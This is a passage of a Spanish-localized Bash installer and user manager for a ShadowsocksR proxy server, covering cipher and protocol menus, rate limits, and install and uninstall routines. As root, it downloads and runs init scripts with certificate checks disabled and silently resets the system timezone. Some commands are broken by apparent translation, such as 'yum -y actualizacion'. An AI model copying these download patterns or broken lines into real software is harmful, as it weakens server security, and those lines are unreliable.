ssr_method="xsalsa20" + elif [[ ${ssr_method} == "18" ]]; then + ssr_method="xchacha20" + else + ssr_method="aes-256-cfb" + fi + echo && echo -e " Encriptacion: ${Green_font_prefix}${ssr_method}${Font_color_suffix}" && echo +} +Set_config_protocol(){ +msg -bar + echo -e "\e[92m 5) Por favor, seleccione un Protocolo +$(msg -bar) + ${Green_font_prefix}1.${Font_color_suffix} origin + ${Green_font_prefix}2.${Font_color_suffix} auth_sha1_v4 + ${Green_font_prefix}3.${Font_color_suffix} auth_aes128_md5 + ${Green_font_prefix}4.${Font_color_suffix} auth_aes128_sha1 + ${Green_font_prefix}5.${Font_color_suffix} auth_chain_a + ${Green_font_prefix}6.${Font_color_suffix} auth_chain_b + + ${Red_font_prefix}7.${Font_color_suffix} auth_chain_c + ${Red_font_prefix}8.${Font_color_suffix} auth_chain_d + ${Red_font_prefix}9.${Font_color_suffix} auth_chain_e + ${Red_font_prefix}10.${Font_color_suffix} auth_chain_f +$(msg -bar) + ${Tip}\n Si selecciona el protocolo de serie auth_chain_ *:\n Se recomienda establecer el metodo de cifrado en ninguno" +msg -bar + stty erase '^H' && read -p "(Predterminado: 1. origin):" ssr_protocol +msg -bar + [[ -z "${ssr_protocol}" ]] && ssr_protocol="1" + if [[ ${ssr_protocol} == "1" ]]; then + ssr_protocol="origin" + elif [[ ${ssr_protocol} == "2" ]]; then + ssr_protocol="auth_sha1_v4" + elif [[ ${ssr_protocol} == "3" ]]; then + ssr_protocol="auth_aes128_md5" + elif [[ ${ssr_protocol} == "4" ]]; then + ssr_protocol="auth_aes128_sha1" + elif [[ ${ssr_protocol} == "5" ]]; then + ssr_protocol="auth_chain_a" + elif [[ ${ssr_protocol} == "6" ]]; then + ssr_protocol="auth_chain_b" + elif [[ ${ssr_protocol} == "7" ]]; then + ssr_protocol="auth_chain_c" + elif [[ ${ssr_protocol} == "8" ]]; then + ssr_protocol="auth_chain_d" + elif [[ ${ssr_protocol} == "9" ]]; then + ssr_protocol="auth_chain_e" + elif [[ ${ssr_protocol} == "10" ]]; then + ssr_protocol="auth_chain_f" + else + ssr_protocol="origin" + fi + echo && echo -e " Protocolo : ${Green_font_prefix}${ssr_protocol}${Font_color_suffix}" && echo + if [[ ${ssr_protocol} != "origin" ]]; then + if [[ ${ssr_protocol} == "auth_sha1_v4" ]]; then + stty erase '^H' && read -p "Set protocol plug-in to compatible mode(_compatible)?[Y/n]" ssr_protocol_yn + [[ -z "${ssr_protocol_yn}" ]] && ssr_protocol_yn="y" + [[ $ssr_protocol_yn == [Yy] ]] && ssr_protocol=${ssr_protocol}"_compatible" + echo + fi + fi +} +Set_config_obfs(){ +msg -bar + echo -e "\e[92m 6) Por favor, seleccione el metodo OBFS +$(msg -bar) + ${Green_font_prefix}1.${Font_color_suffix} plain + ${Green_font_prefix}2.${Font_color_suffix} http_simple + ${Green_font_prefix}3.${Font_color_suffix} http_post + ${Green_font_prefix}4.${Font_color_suffix} random_head + ${Green_font_prefix}5.${Font_color_suffix} tls1.2_ticket_auth +$(msg -bar) + Si elige tls1.2_ticket_auth, entonces el cliente puede\n elegir tls1.2_ticket_fastauth!" +msg -bar + stty erase '^H' && read -p "(Predeterminado: 5. tls1.2_ticket_auth):" ssr_obfs + [[ -z "${ssr_obfs}" ]] && ssr_obfs="5" + if [[ ${ssr_obfs} == "1" ]]; then + ssr_obfs="plain" + elif [[ ${ssr_obfs} == "2" ]]; then + ssr_obfs="http_simple" + elif [[ ${ssr_obfs} == "3" ]]; then + ssr_obfs="http_post" + elif [[ ${ssr_obfs} == "4" ]]; then + ssr_obfs="random_head" + elif [[ ${ssr_obfs} == "5" ]]; then + ssr_obfs="tls1.2_ticket_auth" + else + ssr_obfs="tls1.2_ticket_auth" + fi + echo && echo -e " obfs : ${Green_font_prefix}${ssr_obfs}${Font_color_suffix}" && echo + msg -bar + if [[ ${ssr_obfs} != "plain" ]]; then + stty erase '^H' && read -p "Configurar modo Compatible (Para usar SS)? [y/n]: " ssr_obfs_yn + [[ -z "${ssr_obfs_yn}" ]] && ssr_obfs_yn="y" + [[ $ssr_obfs_yn == [Yy] ]] && ssr_obfs=${ssr_obfs}"_compatible" + fi +} +Set_config_protocol_param(){ +msg -bar + while true + do + echo -e "\e[92m 7) Limitar Cantidad de Dispositivos Simultaneos\n ${Green_font_prefix} auth_*La serie no es compatible con la version original. ${Font_color_suffix}" +msg -bar + echo -e "${Tip} Limite de numero de dispositivos:\n Es el numero de clientes que usaran la cuenta\n el minimo recomendado 2." +msg -bar + stty erase '^H' && read -p "(Predeterminado: Ilimitado):" ssr_protocol_param + [[ -z "$ssr_protocol_param" ]] && ssr_protocol_param="" && echo && break + expr ${ssr_protocol_param} + 0 &>/dev/null + if [[ $? == 0 ]]; then + if [[ ${ssr_protocol_param} -ge 1 ]] && [[ ${ssr_protocol_param} -le 9999 ]]; then + echo && echo -e " Limite del dispositivo: ${Green_font_prefix}${ssr_protocol_param}${Font_color_suffix}" && echo + break + else + echo -e "${Error} Por favor ingrese el numero correcto (1-9999)" + fi + else + echo -e "${Error} Por favor ingrese el numero correcto (1-9999)" + fi + done +} +Set_config_speed_limit_per_con(){ +msg -bar + while true + do + echo -e "\e[92m 8) Introduzca un Limite de Velocidad x Hilo (en KB/S)" +msg -bar + stty erase '^H' && read -p "(Predterminado: Ilimitado):" ssr_speed_limit_per_con +msg -bar + [[ -z "$ssr_speed_limit_per_con" ]] && ssr_speed_limit_per_con=0 && echo && break + expr ${ssr_speed_limit_per_con} + 0 &>/dev/null + if [[ $? == 0 ]]; then + if [[ ${ssr_speed_limit_per_con} -ge 1 ]] && [[ ${ssr_speed_limit_per_con} -le 131072 ]]; then + echo && echo -e " Velocidad de Subproceso Unico: ${Green_font_prefix}${ssr_speed_limit_per_con} KB/S${Font_color_suffix}" && echo + break + else + echo -e "${Error} Por favor ingrese el numero correcto (1-131072)" + fi + else + echo -e "${Error} Por favor ingrese el numero correcto (1-131072)" + fi + done +} +Set_config_speed_limit_per_user(){ +msg -bar + while true + do + echo -e "\e[92m 9) Introduzca un Limite de Velocidad Maxima (en KB/S)" +msg -bar + echo -e "${Tip} Limite de Velocidad Maxima del Puerto :\n Es la velocidad maxima que ira el Usuario." +msg -bar + stty erase '^H' && read -p "(Predeterminado: Ilimitado):" ssr_speed_limit_per_user + [[ -z "$ssr_speed_limit_per_user" ]] && ssr_speed_limit_per_user=0 && echo && break + expr ${ssr_speed_limit_per_user} + 0 &>/dev/null + if [[ $? == 0 ]]; then + if [[ ${ssr_speed_limit_per_user} -ge 1 ]] && [[ ${ssr_speed_limit_per_user} -le 131072 ]]; then + echo && echo -e " Velocidad Maxima del Usuario : ${Green_font_prefix}${ssr_speed_limit_per_user} KB/S${Font_color_suffix}" && echo + break + else + echo -e "${Error} Por favor ingrese el numero correcto (1-131072)" + fi + else + echo -e "${Error} Por favor ingrese el numero correcto (1-131072)" + fi + done +} +Set_config_transfer(){ +msg -bar + while true + do + echo -e "\e[92m 10) Ingrese Cantidad Total de Datos para el Usuario\n (en GB, 1-838868 GB)" +msg -bar + stty erase '^H' && read -p "(Predeterminado: Ilimitado):" ssr_transfer + [[ -z "$ssr_transfer" ]] && ssr_transfer="838868" && echo && break + expr ${ssr_transfer} + 0 &>/dev/null + if [[ $? == 0 ]]; then + if [[ ${ssr_transfer} -ge 1 ]] && [[ ${ssr_transfer} -le 838868 ]]; then + echo && echo -e " Trafico Total Para El Usuario: ${Green_font_prefix}${ssr_transfer} GB${Font_color_suffix}" && echo + break + else + echo -e "${Error} Por favor ingrese el numero correcto (1-838868)" + fi + else + echo -e "${Error} Por favor ingrese el numero correcto (1-838868)" + fi + done +} +Set_config_forbid(){ +msg -bar + echo "PROIBIR PUERTOS" +msg -bar + echo -e "${Tip} Puertos prohibidos:\n Por ejemplo, si no permite el acceso al puerto 25, los\n usuarios no podran acceder al puerto de correo 25 a\n traves del proxy de SSR. Si 80,443 esta desactivado,\n los usuarios no podran acceda a los sitios\n http/https normalmente." +msg -bar + stty erase '^H' && read -p "(Predeterminado: permitir todo):" ssr_forbid + [[ -z "${ssr_forbid}" ]] && ssr_forbid="" + echo && echo -e " Puerto prohibido: ${Green_font_prefix}${ssr_forbid}${Font_color_suffix}" && echo +} +Set_config_enable(){ + user_total=$(expr ${user_total} - 1) + for((integer = 0; integer <= ${user_total}; integer++)) + do + echo -e "integer=${integer}" + port_jq=$(${jq_file} ".[${integer}].port" "${config_user_mudb_file}") + echo -e "port_jq=${port_jq}" + if [[ "${ssr_port}" == "${port_jq}" ]]; then + enable=$(${jq_file} ".[${integer}].enable" "${config_user_mudb_file}") + echo -e "enable=${enable}" + [[ "${enable}" == "null" ]] && echo -e "${Error} Obtenga el puerto actual [${ssr_port}] Estado deshabilitado fallido!" && exit 1 + ssr_port_num=$(cat "${config_user_mudb_file}"|grep -n '"puerto": '${ssr_port}','|awk -F ":" '{print $1}') + echo -e "ssr_port_num=${ssr_port_num}" + [[ "${ssr_port_num}" == "null" ]] && echo -e "${Error}Obtener actual Puerto [${ssr_port}] Numero de filas fallidas!" && exit 1 + ssr_enable_num=$(expr ${ssr_port_num} - 5) + echo -e "ssr_enable_num=${ssr_enable_num}" + break + fi + done + if [[ "${enable}" == "1" ]]; then + echo -e "Puerto [${ssr_port}] El estado de la cuenta es: ${Green_font_prefix}Enabled ${Font_color_suffix} , Cambiar a ${Red_font_prefix}Disabled${Font_color_suffix} ?[Y/n]" + stty erase '^H' && read -p "(Predeterminado: Y):" ssr_enable_yn + [[ -z "${ssr_enable_yn}" ]] && ssr_enable_yn="y" + if [[ "${ssr_enable_yn}" == [Yy] ]]; then + ssr_enable="0" + else + echo -e "Cancelado...\n$(msg -bar)" && exit 0 + fi + elif [[ "${enable}" == "0" ]]; then + echo -e "Port [${ssr_port}] El estado de la cuenta:${Green_font_prefix}Habilitado ${Font_color_suffix} , Cambie a ${Red_font_prefix}Deshabilitado${Font_color_suffix} ?[Y/n]" + stty erase '^H' && read -p "(Predeterminado: Y):" ssr_enable_yn + [[ -z "${ssr_enable_yn}" ]] && ssr_enable_yn = "y" + if [[ "${ssr_enable_yn}" == [Yy] ]]; then + ssr_enable="1" + else + echo "Cancelar ..." && exit 0 + fi + else + echo -e "${Error} El actual estado de discapacidad de Puerto es anormal.[${enable}] !" && exit 1 + fi +} +Set_user_api_server_pub_addr(){ + addr=$1 + if [[ "${addr}" == "Modify" ]]; then + server_pub_addr=$(cat ${config_user_api_file}|grep "SERVER_PUB_ADDR = "|awk -F "[']" '{print $2}') + if [[ -z ${server_pub_addr} ]]; then + echo -e "${Error} La IP del servidor o el nombre de dominio obtenidos fallaron!" && exit 1 + else + echo -e "${Info} La IP del servidor o el nombre de dominio actualmente configurados es ${Green_font_prefix}${server_pub_addr}${Font_color_suffix}" + fi + fi + echo "Introduzca la IP del servidor o el nombre de dominio que se mostrara en la configuracion del usuario (cuando el servidor tiene varias IP, puede especificar la IP o el nombre de dominio que se muestra en la configuracion del usuario)" +msg -bar + stty erase '^H' && read -p "(Predeterminado:Deteccion automatica de la red externa IP):" ssr_server_pub_addr + if [[ -z "${ssr_server_pub_addr}" ]]; then + Get_IP + if [[ ${ip} == "VPS_IP" ]]; then + while true + do + stty erase '^H' && read -p "${Error} La deteccion automatica de la IP de la red externa fallo, ingrese manualmente la IP del servidor o el nombre de dominio" ssr_server_pub_addr + if [[ -z "$ssr_server_pub_addr" ]]; then + echo -e "${Error}No puede estar vacio!" + else + break + fi + done + else + ssr_server_pub_addr="${ip}" + fi + fi + echo && msg -bar && echo -e " IP o nombre de dominio: ${Green_font_prefix}${ssr_server_pub_addr}${Font_color_suffix}" && msg -bar && echo +} +Set_config_all(){ + lal=$1 + if [[ "${lal}" == "Modify" ]]; then + Set_config_password + Set_config_method + Set_config_protocol + Set_config_obfs + Set_config_protocol_param + Set_config_speed_limit_per_con + Set_config_speed_limit_per_user + Set_config_transfer + Set_config_forbid + else + Set_config_user + Set_config_port + Set_config_password + Set_config_method + Set_config_protocol + Set_config_obfs + Set_config_protocol_param + Set_config_speed_limit_per_con + Set_config_speed_limit_per_user + Set_config_transfer + Set_config_forbid + fi +} +#Modificar la informacin de configuracin +Modify_config_password(){ + match_edit=$(python mujson_mgr.py -e -p "${ssr_port}" -k "${ssr_password}"|grep -w "edit user ") + if [[ -z "${match_edit}" ]]; then + echo -e "${Error} Fallo la modificacion de la contrasena del usuario ${Green_font_prefix}[Port: ${ssr_port}]${Font_color_suffix} " && exit 1 + else + echo -e "${Info} La contrasena del usuario se modifico correctamente ${Green_font_prefix}[Port: ${ssr_port}]${Font_color_suffix} (Puede tardar unos 10 segundos aplicar la ultima configuracion)" + fi +} +Modify_config_method(){ + match_edit=$(python mujson_mgr.py -e -p "${ssr_port}" -m "${ssr_method}"|grep -w "edit user ") + if [[ -z "${match_edit}" ]]; then + echo -e "${Error} La modificacion del metodo de cifrado del usuario fallo ${Green_font_prefix}[Port: ${ssr_port}]${Font_color_suffix} " && exit 1 + else + echo -e "${Info} Modo de cifrado de usuario ${Green_font_prefix}[Port: ${ssr_port}]${Font_color_suffix} (Note: Nota: la configuracion mas reciente puede demorar unos 10 segundos)" + fi +} +Modify_config_protocol(){ + match_edit=$(python mujson_mgr.py -e -p "${ssr_port}" -O "${ssr_protocol}"|grep -w "edit user ") + if [[ -z "${match_edit}" ]]; then + echo -e "${Error} Fallo la modificacion del protocolo de usuario ${Green_font_prefix}[Port: ${ssr_port}]${Font_color_suffix} " && exit 1 + else + echo -e "${Info} Acuerdo de usuario modificacion exito ${Green_font_prefix}[Port: ${ssr_port}]${Font_color_suffix} (Nota: la configuracion ms reciente puede demorar unos 10 segundos)" + fi +} +Modify_config_obfs(){ + match_edit=$(python mujson_mgr.py -e -p "${ssr_port}" -o "${ssr_obfs}"|grep -w "edit user ") + if [[ -z "${match_edit}" ]]; then + echo -e "${Error} La modificacion de la confusion del usuario fallo ${Green_font_prefix}[Port: ${ssr_port}]${Font_color_suffix} " && exit 1 + else + echo -e "${Info} Confusion del usuario exito de modificacion ${Green_font_prefix}[Port: ${ssr_port}]${Font_color_suffix} (Nota: La aplicacion de la ultima configuracion puede demorar unos 10 segundos)" + fi +} +Modify_config_protocol_param(){ + match_edit=$(python mujson_mgr.py -e -p "${ssr_port}" -G "${ssr_protocol_param}"|grep -w "edit user ") + if [[ -z "${match_edit}" ]]; then + echo -e "${Error} Fallo la modificacion del parametro del protocolo del usuario (numero de dispositivos limite) ${Green_font_prefix}[Port: ${ssr_port}]${Font_color_suffix} " && exit 1 + else + echo -e "${Info} Parametros de negociacin del usuario (numero de dispositivos limite) modificados correctamente ${Green_font_prefix}[Port: ${ssr_port}]${Font_color_suffix} (Nota: puede tomar aproximadamente 10 segundos aplicar la ultima configuracion)" + fi +} +Modify_config_speed_limit_per_con(){ + match_edit=$(python mujson_mgr.py -e -p "${ssr_port}" -s "${ssr_speed_limit_per_con}"|grep -w "edit user ") + if [[ -z "${match_edit}" ]]; then + echo -e "${Error} Fallo la modificacion de la velocidad de un solo hilo ${Green_font_prefix}[Port: ${ssr_port}]${Font_color_suffix} " && exit 1 + else + echo -e "${Info} Modificacion de la velocidad de un solo hilo exitosa ${Green_font_prefix}[Port: ${ssr_port}]${Font_color_suffix} (Nota: puede tomar aproximadamente 10 segundos aplicar la ultima configuracion)" + fi +} +Modify_config_speed_limit_per_user(){ + match_edit=$(python mujson_mgr.py -e -p "${ssr_port}" -S "${ssr_speed_limit_per_user}"|grep -w "edit user ") + if [[ -z "${match_edit}" ]]; then + echo -e "${Error} Usuario Puerto la modificacin del limite de velocidad total fallo ${Green_font_prefix}[Port: ${ssr_port}]${Font_color_suffix} " && exit 1 + else + echo -e "${Info} Usuario Puerto limite de velocidad total modificado con exito ${Green_font_prefix}[Port: ${ssr_port}]${Font_color_suffix} (Nota: la configuracion mas reciente puede demorar unos 10 segundos)" + fi +} +Modify_config_connect_verbose_info(){ + sed -i 's/"connect_verbose_info": '"$(echo ${connect_verbose_info})"',/"connect_verbose_info": '"$(echo ${ssr_connect_verbose_info})"',/g' ${config_user_file} +} +Modify_config_transfer(){ + match_edit=$(python mujson_mgr.py -e -p "${ssr_port}" -t "${ssr_transfer}"|grep -w "edit user ") + if [[ -z "${match_edit}" ]]; then + echo -e "${Error} La modificacion de trafico total del usuario fallo ${Green_font_prefix}[Port: ${ssr_port}]${Font_color_suffix} " && exit 1 + else + echo -e "${Info} Trafico total del usuario ${Green_font_prefix}[Port: ${ssr_port}]${Font_color_suffix} (Nota: la configuracion mas reciente puede demorar unos 10 segundos)" + fi +} +Modify_config_forbid(){ + match_edit=$(python mujson_mgr.py -e -p "${ssr_port}" -f "${ssr_forbid}"|grep -w "edit user ") + if [[ -z "${match_edit}" ]]; then + echo -e "${Error} La modificacion del puerto prohibido por el usuario ha fallado ${Green_font_prefix}[Port: ${ssr_port}]${Font_color_suffix} " && exit 1 + else + echo -e "${Info} Los puertos prohibidos por el usuario se modificaron correctamente ${Green_font_prefix}[Port: ${ssr_port}]${Font_color_suffix} (Nota: puede tomar aproximadamente 10 segundos aplicar la ultima configuracion)" + fi +} +Modify_config_enable(){ + sed -i "${ssr_enable_num}"'s/"enable": '"$(echo ${enable})"',/"enable": '"$(echo ${ssr_enable})"',/' ${config_user_mudb_file} +} +Modify_user_api_server_pub_addr(){ + sed -i "s/SERVER_PUB_ADDR = '${server_pub_addr}'/SERVER_PUB_ADDR = '${ssr_server_pub_addr}'/" ${config_user_api_file} +} +Modify_config_all(){ + Modify_config_password + Modify_config_method + Modify_config_protocol + Modify_config_obfs + Modify_config_protocol_param + Modify_config_speed_limit_per_con + Modify_config_speed_limit_per_user + Modify_config_transfer + Modify_config_forbid +} +Check_python(){ + python_ver=`python -h` + if [[ -z ${python_ver} ]]; then + echo -e "${Info} No instalo Python, comience a instalar ..." + if [[ ${release} == "centos" ]]; then + yum install -y python + else + apt-get install -y python + fi + fi +} +Centos_yum(){ + yum update + cat /etc/redhat-release |grep 7\..*|grep -i centos>/dev/null + if [[ $? = 0 ]]; then + yum install -y vim unzip crond net-tools git + else + yum install -y vim unzip crond git + fi +} +Debian_apt(){ + apt-get update + apt-get install -y vim unzip cron git net-tools +} +#Descargar ShadowsocksR +Download_SSR(){ + cd "/usr/local" + # wget -N --no-check-certificate "https://github.com/ToyoDAdoubi/shadowsocksr/archive/manyuser.zip" + #git config --global http.sslVerify false + git clone -b akkariiin/master https://github.com/shadowsocksrr/shadowsocksr.git + [[ ! -e ${ssr_folder} ]] && echo -e "${Error} Fallo la descarga del servidor ShadowsocksR!" && exit 1 + # [[ ! -e "manyuser.zip" ]] && echo -e "${Error} Fallo la descarga del paquete de compresion lateral ShadowsocksR !" && rm -rf manyuser.zip && exit 1 + # unzip "manyuser.zip" + # [[ ! -e "/usr/local/shadowsocksr-manyuser/" ]] && echo -e "${Error} Fallo la descompresin del servidor ShadowsocksR !" && rm -rf manyuser.zip && exit 1 + # mv "/usr/local/shadowsocksr-manyuser/" "/usr/local/shadowsocksr/" + # [[ ! -e "/usr/local/shadowsocksr/" ]] && echo -e "${Error} Fallo el cambio de nombre del servidor ShadowsocksR!" && rm -rf manyuser.zip && rm -rf "/usr/local/shadowsocksr-manyuser/" && exit 1 + # rm -rf manyuser.zip + cd "shadowsocksr" + cp "${ssr_folder}/config.json" "${config_user_file}" + cp "${ssr_folder}/mysql.json" "${ssr_folder}/usermysql.json" + cp "${ssr_folder}/apiconfig.py" "${config_user_api_file}" + [[ ! -e ${config_user_api_file} ]] && echo -e "${Error} Fallo la replicacion apiconfig.py del servidor ShadowsocksR!" && exit 1 + sed -i "s/API_INTERFACE = 'sspanelv2'/API_INTERFACE = 'mudbjson'/" ${config_user_api_file} + server_pub_addr="127.0.0.1" + Modify_user_api_server_pub_addr + #sed -i "s/SERVER_PUB_ADDR = '127.0.0.1'/SERVER_PUB_ADDR = '${ip}'/" ${config_user_api_file} + sed -i 's/ \/\/ only works under multi-user mode//g' "${config_user_file}" + echo -e "${Info} Descarga del servidor ShadowsocksR completa!" +} +Service_SSR(){ + if [[ ${release} = "centos" ]]; then + if ! wget --no-check-certificate https://raw.githubusercontent.com/ToyoDAdoubi/doubi/master/service/ssrmu_centos -O /etc/init.d/ssrmu; then + echo -e "${Error} Fallo la descarga de la secuencia de comandos de administracion de servicios de ShadowsocksR!" && exit 1 + fi + chmod +x /etc/init.d/ssrmu + chkconfig --add ssrmu + chkconfig ssrmu on + else + if ! wget --no-check-certificate https://raw.githubusercontent.com/ToyoDAdoubi/doubi/master/service/ssrmu_debian -O /etc/init.d/ssrmu; then + echo -e "${Error} Fallo la descarga de la secuencia de comandos de administracin de servicio de ShadowsocksR!" && exit 1 + fi + chmod +x /etc/init.d/ssrmu + update-rc.d -f ssrmu defaults + fi + echo -e "${Info} ShadowsocksR Service Management Script Descargar Descargar!" +} +#Instalar el analizador JQ +JQ_install(){ + if [[ ! -e ${jq_file} ]]; then + cd "${ssr_folder}" + if [[ ${bit} = "x86_64" ]]; then + # mv "jq-linux64" "jq" + wget --no-check-certificate "https://github.com/stedolan/jq/releases/download/jq-1.5/jq-linux64" -O ${jq_file} + else + # mv "jq-linux32" "jq" + wget --no-check-certificate "https://github.com/stedolan/jq/releases/download/jq-1.5/jq-linux32" -O ${jq_file} + fi + [[ ! -e ${jq_file} ]] && echo -e "${Error} JQ parser, por favor!" && exit 1 + chmod +x ${jq_file} + echo -e "${Info} La instalacion del analizador JQ se ha completado, continuar ..." + else + echo -e "${Info} JQ parser esta instalado, continuar ..." + fi +} +#Instalacion +Installation_dependency(){ + if [[ ${release} == "centos" ]]; then + Centos_yum + else + Debian_apt + fi + [[ ! -e "/usr/bin/unzip" ]] && echo -e "${Error} Dependiente de la instalacion de descomprimir (paquete comprimido) fallo, en su mayoria problema, por favor verifique!" && exit 1 + Check_python + #echo "nameserver 8.8.8.8" > /etc/resolv.conf + #echo "nameserver 8.8.4.4" >> /etc/resolv.conf + cp -f /usr/share/zoneinfo/Asia/Shanghai /etc/localtime + if [[ ${release} == "centos" ]]; then + /etc/init.d/crond restart + else + /etc/init.d/cron restart + fi +} +Install_SSR(){ +clear + check_root + msg -bar + [[ -e ${ssr_folder} ]] && echo -e "${Error}\nLa carpeta ShadowsocksR ha sido creada, por favor verifique\n(si la instalacion falla, desinstalela primero) !\n$(msg -bar)" && exit 1 + echo -e "${Info}\nComience la configuracion de la cuenta de ShadowsocksR..." +msg -bar + Set_user_api_server_pub_addr + Set_config_all + echo -e "${Info} Comience a instalar / configurar las dependencias de ShadowsocksR ..." + Installation_dependency + echo -e "${Info} Iniciar descarga / Instalar ShadowsocksR File ..." + Download_SSR + echo -e "${Info} Iniciar descarga / Instalar ShadowsocksR Service Script(init)..." + Service_SSR + echo -e "${Info} Iniciar descarga / instalar JSNO Parser JQ ..." + JQ_install + echo -e "${Info} Comience a agregar usuario inicial ..." + Add_port_user "install" + echo -e "${Info} Empezar a configurar el firewall de iptables ..." + Set_iptables + echo -e "${Info} Comience a agregar reglas de firewall de iptables ..." + Add_iptables + echo -e "${Info} Comience a guardar las reglas del servidor de seguridad de iptables ..." + Save_iptables + echo -e "${Info} Todos los pasos para iniciar el servicio ShadowsocksR ..." + Start_SSR + Get_User_info "${ssr_port}" + View_User_info + +} +Update_SSR(){ + SSR_installation_status + # echo -e "Debido a que el beb roto actualiza el servidor ShadowsocksR, entonces." + cd ${ssr_folder} + git pull + Restart_SSR + +} +Uninstall_SSR(){ + [[ ! -e ${ssr_folder} ]] && echo -e "${Error} ShadowsocksR no esta instalado, por favor, compruebe!\n$(msg -bar)" && exit 1 + echo "Desinstalar ShadowsocksR [y/n]" +msg -bar + stty erase '^H' && read -p "(Predeterminado: n):" unyn +msg -bar + [[ -z ${unyn} ]] && unyn="n" + if [[ ${unyn} == [Yy] ]]; then + check_pid + [[ ! -z "${PID}" ]] && kill -9 ${PID} + user_info=$(python mujson_mgr.py -l) + user_total=$(echo "${user_info}"|wc -l) + if [[ ! -z ${user_info} ]]; then + for((integer = 1; integer <= ${user_total}; integer++)) + do + port=$(echo "${user_info}"|sed -n "${integer}p"|awk '{print $4}') + Del_iptables + done + fi + if [[ ${release} = "centos" ]]; then + chkconfig --del ssrmu + else + update-rc.d -f ssrmu remove + fi + rm -rf ${ssr_folder} && rm -rf /etc/init.d/ssrmu + echo && echo " Desinstalacion de ShadowsocksR completada!" && echo + else + echo && echo "Desinstalar cancelado ..." && echo + fi + +} +Check_Libsodium_ver(){ + echo -e "${Info} Descargando la ultima version de libsodium" + #Libsodiumr_ver=$(wget -qO- "https://github.com/jedisct1/libsodium/tags"|grep "/jedisct1/libsodium/releases/tag/"|head -1|sed -r 's/.*tag\/(.+)\">.*/\1/') + Libsodiumr_ver=1.0.17 + [[ -z ${Libsodiumr_ver} ]] && Libsodiumr_ver=${Libsodiumr_ver_backup} + echo -e "${Info} La ultima version de libsodium es ${Green_font_prefix}${Libsodiumr_ver}${Font_color_suffix} !" +} +Install_Libsodium(){ + if [[ -e ${Libsodiumr_file} ]]; then + echo -e "${Error} libsodium ya instalado, quieres actualizar?[y/N]" + stty erase '^H' && read -p "(Default: n):" yn + [[ -z ${yn} ]] && yn="n" + if [[ ${yn} == [Nn] ]]; then + echo -e "Cancelado...\n$(msg -bar)" && exit 1 + fi + else + echo -e "${Info} libsodium no instalado, instalacion iniciada ..." + fi + Check_Libsodium_ver + if [[ ${release} == "centos" ]]; then + yum -y actualizacion + echo -e "${Info} La instalacion depende de ..." + yum -y groupinstall "Herramientas de desarrollo" + echo -e "${Info} Descargar ..." + wget --no-check-certificate -N "https://github.com/jedisct1/libsodium/releases/download/${Libsodiumr_ver}/libsodium-${Libsodiumr_ver}.tar.gz" + echo -e "${Info} Descomprimir ..." + tar -xzf libsodium-${Libsodiumr_ver}.tar.gz && cd libsodium-${Libsodiumr_ver} + echo -e "${Info} Compilar e instalar ..." + ./configure --disable-maintainer-mode && make -j2 && make install + echo /usr/local/lib > /etc/ld.so.conf.d/usr_local_lib.conf + else + apt-get update + echo -e "${Info} La instalacion depende de ..." + apt-get install -y build-essential + echo -e "${Info} Descargar ..." + wget --no-check-certificate -N "https://github.com/jedisct1/libsodium/releases/download/${Libsodiumr_ver}/libsodium-${Libsodiumr_ver}.tar.gz" + echo -e "${Info} Descomprimir ..." + tar -xzf libsodium-${Libsodiumr_ver}.tar.gz && cd libsodium-${Libsodiumr_ver} + echo -e "${Info} Compilar e instalar ..." + ./configure --disable-maintainer-mode && make -j2 && make install + fi + ldconfig + cd .. && rm -rf libsodium-${Libsodiumr_ver}.tar.gz && rm -rf libsodium-${Libsodiumr_ver} + [[ ! -e ${Libsodiumr_file} ]] && echo -e "${Error} libsodium Instalacion fallida!" && exit 1 + echo && echo -e "${Info} libsodium exito de instalacion!" && echo +msg -bar +} +#Mostrar informacin de conexin +debian_View_user_connection_info(){ + format_1=$1 + user_info=$(python mujson_mgr.py -l) + user_total=$(echo "${user_info}"|wc -l) + [[ -z ${user_info} ]] && echo -e "${Error} No encontro, por favor compruebe!" && exit 1 + IP_total=`netstat -anp |grep 'ESTABLISHED' |grep 'python' |grep 'tcp6' |awk '{print $5}' |awk -F ":" '{print $1}' |sort -u |wc -l` + user_list_all="" + for((integer = 1; integer <= ${user_total}; integer++)) + do + user_port=$(echo "${user_info}"|sed -n "${integer}p"|awk '{print $4}') + user_IP_1=`netstat -anp |grep 'ESTABLISHED' |grep 'python' |grep 'tcp6' |grep ":${user_port} " |awk '{print $5}' |awk -F ":" '{print $1}' |sort -u` + if [[ -z ${user_IP_1} ]]; then + user_IP_total="0" + else + user_IP_total=`echo -e "${user_IP_1}"|wc -l` + if [[ ${format_1} == "IP_address" ]]; then + get_IP_address + else + user_IP=`echo -e "\n${user_IP_1}"` + fi + fi + user_list_all=${user_list_all}"Puerto: ${Green_font_prefix}"${user_port}"${Font_color_suffix}, El numero total de IPs vinculadas: ${Green_font_prefix}"${user_IP_total}"${Font_color_suffix}, Current linked IP: ${Green_font_prefix}${user_IP}${Font_color_suffix}\n" + user_IP="" + done + echo -e "Numero total de usuarios: ${Green_background_prefix} "${user_total}" ${Font_color_suffix} Numero total de IPs vinculadas: ${Green_background_prefix} "${IP_total}" ${Font_color_suffix}\n" + echo -e "${user_list_all}" +msg -bar +} +centos_View_user_connection_info(){ + format_1=$1 + user_info=$(python mujson_mgr.py -l) + user_total=$(echo "${user_info}"|wc -l) + [[ -z ${user_info} ]] && echo -e "${Error} No encontrado, por favor revise!" && exit 1 + IP_total=`netstat -anp |grep 'ESTABLISHED' |grep 'python' |grep 'tcp' | grep '::ffff:' |awk '{print $5}' |awk -F ":" '{print $4}' |sort -u |wc -l` + user_list_all="" + for((integer = 1; integer <= ${user_total}; integer++)) + do + user_port=$(echo "${user_info}"|sed -n "${integer}p"|awk '{print $4}') + user_IP_1=`netstat -anp |grep 'ESTABLISHED' |grep 'python' |grep 'tcp' |grep ":${user_port} "|grep '::ffff:' |awk '{print $5}' |awk -F ":" '{print $4}' |sort -u` + if [[ -z ${user_IP_1} ]]; then + user_IP_total="0" + else + user_IP_total=`echo -e "${user_IP_1}"|wc -l` + if [[ ${format_1} == "IP_address" ]]; then + get_IP_address + else + user_IP=`echo -e "\n${user_IP_1}"` + fi + fi + user_list_all=${user_list_all}"Puerto: ${Green_font_prefix}"${user_port}"${Font_color_suffix}, El numero total de IPs vinculadas: ${Green_font_prefix}"${user_IP_total}"${Font_color_suffix}, Current linked IP: ${Green_font_prefix}${user_IP}${Font_color_suffix}\n" + user_IP="" + done + echo -e "El numero total de usuarios: ${Green_background_prefix} "${user_total}" ${Font_color_suffix} El numero total de IPs vinculadas: ${Green_background_prefix} "${IP_total}" ${Font_color_suffix} " + 